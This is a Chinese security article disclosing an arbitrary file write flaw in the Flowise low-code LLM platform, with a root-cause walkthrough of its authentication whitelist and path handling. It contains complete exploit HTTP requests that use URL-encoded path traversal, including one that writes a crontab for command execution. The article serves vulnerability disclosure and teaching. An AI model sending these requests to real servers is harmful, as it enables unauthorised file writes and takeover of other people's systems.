文章总结: 该文档披露了FlowiseAI低代码平台存在的任意文件写入漏洞。由于接口白名单配置不当及路径拼接未过滤,攻击者可绕过认证与目录限制,利用URL编码的路径穿越符向任意目录写入恶意文件。文章详细复现了从基础文件上传到利用Cron任务实现远程命令执行的全过程,并深入代码层面分析了漏洞成因,建议修复路径处理逻辑或限制接口访问权限。 综合评分: 91 文章分类: 漏洞分析,漏洞POC,AI安全,代码审计
FlowiseAI 任意文件写入漏洞
蚁景网安
2026年3月2日 17:12 湖南
以下文章来源于蚁景网络安全 ,作者标准云
蚁景网络安全 .
致力于为你带来更实用的网络安全技术内容!
漏洞简介
Flowise是一款与LangChain兼容的开源低代码工具,使普通用户和开发人员都能通过可视化连线方式创建LLM工作流和AI应用。然而该平台存在严重的文件上传漏洞——尽管Flowise实施了上传校验机制,攻击者仍可通过特殊编码绕过限制,实现任意目录的文件写入。这一安全缺陷使未经授权的攻击者能够上传恶意文件、脚本或SSH密钥,从而获取对托管服务器的远程控制权,对使用该平台构建AI代理的组织构成重大安全威胁。
漏洞复现
安装环境后构造上传的数据包
1. POST /api/v1/attachments/test/test HTTP/1.1
2. Host: localhost:3000
3. Accept: application/json, text/plain, */*
4. x-request-from: internal
5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
6. Sec-Fetch-Site: same-origin
7. Sec-Fetch-Mode: cors
8. Sec-Fetch-Dest: empty
9. Referer: http://localhost:3000/apikey
10. Accept-Encoding: gzip, deflate
11. Accept-Language: zh-CN,zh;q=0.9
12. Connection: close
13. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
14. Content-Length: 215
16. ------WebKitFormBoundary7MA4YWxkTrZu0gW
17. Content-Disposition: form-data; name="files"; filename="test.txt"
18. Content-Type: text/plain
20. This is the content of the file.
21. ------WebKitFormBoundary7MA4YWxkTrZu0gW--
在服务器上查找上传文件的位置
再次构造数据包
1. POST /api/v1/attachments/..%2ftest/test HTTP/1.1
2. Host: localhost:3000
3. Accept: application/json, text/plain, */*
4. x-request-from: internal
5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
6. Sec-Fetch-Site: same-origin
7. Sec-Fetch-Mode: cors
8. Sec-Fetch-Dest: empty
9. Referer: http://localhost:3000/apikey
10. Accept-Encoding: gzip, deflate
11. Accept-Language: zh-CN,zh;q=0.9
12. Connection: close
13. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
14. Content-Length: 215
16. ------WebKitFormBoundary7MA4YWxkTrZu0gW
17. Content-Disposition: form-data; name="files"; filename="test.txt"
18. Content-Type: text/plain
20. This is the content of the file.
21. ------WebKitFormBoundary7MA4YWxkTrZu0gW--
在服务器上再次查找文件位置
成功实现跨越目录的上传操作
进一步的进行利用的话 可以通过向定时任务中写入文件实现任意命令执行
1. POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1
2. Host: localhost:3000
3. Accept: application/json, text/plain, */*
4. x-request-from: internal
5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
6. Sec-Fetch-Site: same-origin
7. Sec-Fetch-Mode: cors
8. Sec-Fetch-Dest: empty
9. Referer: http://localhost:3000/apikey
10. Accept-Encoding: gzip, deflate
11. Accept-Language: zh-CN,zh;q=0.9
12. Connection: close
13. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
14. Content-Length: 657
16. ------WebKitFormBoundary7MA4YWxkTrZu0gW
17. Content-Disposition: form-data; name="files"; filename="root"
18. Content-Type: text/plain
20. # do daily/weekly/monthly maintenance
21. # min hour day month weekday command
22. */15 * * * * run-parts /etc/periodic/15min
23. 0 * * * * run-parts /etc/periodic/hourly
24. 0 2 * * * run-parts /etc/periodic/daily
25. 0 3 * * 6 run-parts /etc/periodic/weekly
26. 0 5 1 * * run-parts /etc/periodic/monthly
27. * * * * * echo "a" >> /tmp/test.txt
28. ------WebKitFormBoundary7MA4YWxkTrZu0gW--
漏洞分析
在Flowise平台的核心架构中,通过constants.ts文件定义了一系列无需认证即可访问的API端点,这些端点被归类为WHITELIST_URLS。该设计允许特定功能(如API密钥验证、公共聊天流和文件操作等)在未经认证的情况下运行,以提高用户体验和系统灵活性。
Flowise-main/packages/server/src/utils/constants.ts
当服务器接收到新的HTTP请求时,其鉴权流程遵循严格的逻辑顺序:首先检查请求路径是否包含”/api/v1”前缀(不区分大小写);接着进行大小写敏感的路径验证;随后系统会判断该URL是否存在于预定义的白名单中。若请求路径已被列入白名单,则继续处理;否则,系统会进一步检查请求头中是否包含”internal”标记,或尝试验证API密钥。
Flowise-main/packages/server/src/index.ts
Flowise-main/packages/server/src/routes/attachments/index.ts
Flowise-main/packages/server/src/services/attachments/index.ts#createFileAttachment
/api/v1/attachments/ 路由下存在上传创建文件的操作
Flowise-main/packages/server/src/utils/createAttachment.ts#createFileAttachment
createFileAttachment 中会调用 addArrayFilesToStorage 来对文件进行处理
此时我们也可以看到对应的所有上传路由 /api/v1/attachments/:chatflowId/:chatId
Flowise-main/packages/components/src/storageUtils.ts#addArrayFilesToStorage
在 addArrayFilesToStorage 中对文件地址进行处理时,会将 chatflowId 和 chatId 未经处理也直接拼接到路径中,所以可以通过编码就直接绕过目录限制实现跨目录的上传
学习网安实战课程,戳“阅读原文”
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:蚁景网安 《FlowiseAI 任意文件写入漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论